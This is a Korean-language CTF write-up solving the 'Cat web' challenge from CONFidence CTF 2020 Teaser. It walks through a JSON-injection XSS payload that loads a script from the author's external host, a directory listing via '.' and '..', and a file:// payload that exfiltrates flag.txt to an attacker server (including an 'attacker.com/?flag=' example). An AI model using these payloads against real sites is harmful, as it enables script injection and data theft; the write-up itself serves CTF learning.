write-ups/CTF

CONFidence CTF 2020 Teaser write-up

2020. 3. 16. 21:31

주창이네 자취방에서 본 신당동

Web

Cat web

XSS

 풀자마자 왜 이런 벡터를 생각을 못했는지 자책을 하기도 했던 문제이긴 하지만, 풀이 자체는 깔끔하고 공격 연계 벡터도 내가 생각도 못한 부분에서 발생해서 나름 신기한 문제였다.

 

function getNewCats(kind) {
    $.getJSON('http://catweb.zajebistyc.tf/cats?kind=' + kind, function(data) {
        if (data.status != 'ok') {
            return;
        }
        $('#cats_container').empty();
        cats = data.content;
        cats.forEach(function(cat) {
            var newDiv = document.createElement('div');
            newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/' + kind + '/' + cat + '" />';
            $('#cats_container').append(newDiv);
        });
    });

}

 

 취약점 자체는 쉽게 발견할 수 있었다. getNewCats() 함수에서는 'http://catweb.zajebistyc.tf/cats?kind='로 kind 값을 보내고 /cats?kind 에서는 kind에 대응되는 이미지 파일 리스트를 json 형태로 반환한다. 이 부분에서 "(0x22, 더블쿼터)에 대해서 제대로 escaping을 하지 않기 때문에 아래와 같은 방법을 통해서 json 데이터를 조작할 수 있다.

 

// http://catweb.zajebistyc.tf/cats?kind=asdf%22,+%22content%22:+[%22\%22%3E%3Cscript+src=//ch4n3.me:8080/xss.js%3E%3C/script%3E%22],+%22status%22:+%22ok%22,+%22asdf%22:+%22
{"status": "error", "content": "asdf", "content": ["\"><script src=//ch4n3.me:8080/xss.js></script>"], "status": "ok", "asdf": " could not be found"}

 

 이 페이로드를 / (index) 페이지에 적용을 해보면 실제로 악의적인 코드 삽입을 통한 XSS 공격이 가능함을 확인할 수 있다. 아래는 alert('hacked'); 코드를 띄운 PoC의 캡처 사진이다.

 

 

[*] url : http://catweb.zajebistyc.tf/?asdf%22,+%22content%22:+[%22\%22%3E%3Cscript+src=//ch4n3.me:8080/xss.js%3E%3C/script%3E%22],+%22status%22:+%22ok%22,+%22asdf%22:+%22

 

 해당 문제에는 무언가 report할 수 있는 기능이 있었는데, 아무래도 XSS로 악의적인 코드가 삽입된 URL을 전달하는 것 같았다. 그래서 위와 같은 과정으로 관리자의 계정을 탈취하는 코드를 작성한 뒤에 관리자에게 report하여 관리자의 세션을 빼내오면 될 것 같았지만, 계정으로 판단할 만한 쿠키도 없었고 애초에 서버 내에 계정 관련 기능이 구현되어 있지 않았기 때문에 권한 탈취류의 문제는 아니라고 판단하였다.

 

File Listing (?)

 /cats?kind= 에서 image file lists를 출력하고 있기 때문에 . , .. 를 입력해보았는데 운좋게도 해당 디렉터리에 있는 파일들이 출력되었다. 이 발견은 살짝 나의 게싱 실력이 녹슬지 않은 덕분이다. 이 버그가 아니었다면 나는 계속 XSS만 공략하고 있었을 것이다.

// http://catweb.zajebistyc.tf/cats?kind=.
{"status": "ok", "content": ["grey", "white", "red", "black"]}

// http://catweb.zajebistyc.tf/cats?kind=..
{"status": "ok", "content": ["prestart.sh", "uwsgi.ini", "main.py", "templates", "static", "app.py"]}

 

 디렉터리를 둘러보니 flag는 /app/templates/flag.txt 에 있었다. 그래서 계속 시도한게 XSS를 Local File Inclusion으로 연계하여 flag.txt를 읽는 작업이었는데, CORS 때문에 번번히 실패했다. 내가 구상한 방법은 아래와 같다.

 

  1. file:///app/templates/flag.txt 에 HTTP 요청을 보낸다.
  2. 받은 Response를 변수에 저장하고 공격자 사이트에 Response를 넣어 보낸다. (ex. 'http://attacker.com/?flag=' + Response)
  3. FLAG를 얻고 치킨을 뜯는다.

 

 하지만, 내가 생각한 방법은 브라우저의 정책에 의해 사용할 수 없었다. 한 5년 전까지만 해도 가능한 모양이었지만, 이제는 CORS에 의해 http, https 프로토콜만 허용되는 상황이었던 것이다. 그 해도 CORS 설정을 우회하는 새로운 제로데이가 있나 싶어서 한 5시간 동안 쭉 시도했었는데 번번히 실패했다.

 

fuxking CORS!! 🤬

 

 여기서 포기할 찰나에 겨우 생각해낸게 /app/template/index.html 을 이용하는 방법이었다. index.html은 템플릿이긴 하지만, 변수를 제외하면 사실상 html코드와 동일하기에 인덱스 페이지(/)에 존재하던 취약점이 그대로 존재하기 때문이다. 그래서 file:///app/template/index.html?payload 와 같은 식으로 공격을 진행할 수 있는 것이다. 내가 사용한 페이로드는 아래와 같다.

 

file:///app/templates/index.html?", "content": ["asdf\"><script src='http://ch4n3.me:8080/xss.js'></script>"], "status": "ok", "asdf": "

 

 xss.js 에는 file:///app/template/flag.txt 에 요청을 보내서 받은 Response를 공격자의 서버에 다시 HTTP 요청을 보내서 얻을 수 있었다. 템플릿을 이용하여 공격하는 방법이 인상적인 문제였다.

 

flag : p4{can_i_haz_a_piece_of_flag_pliz?}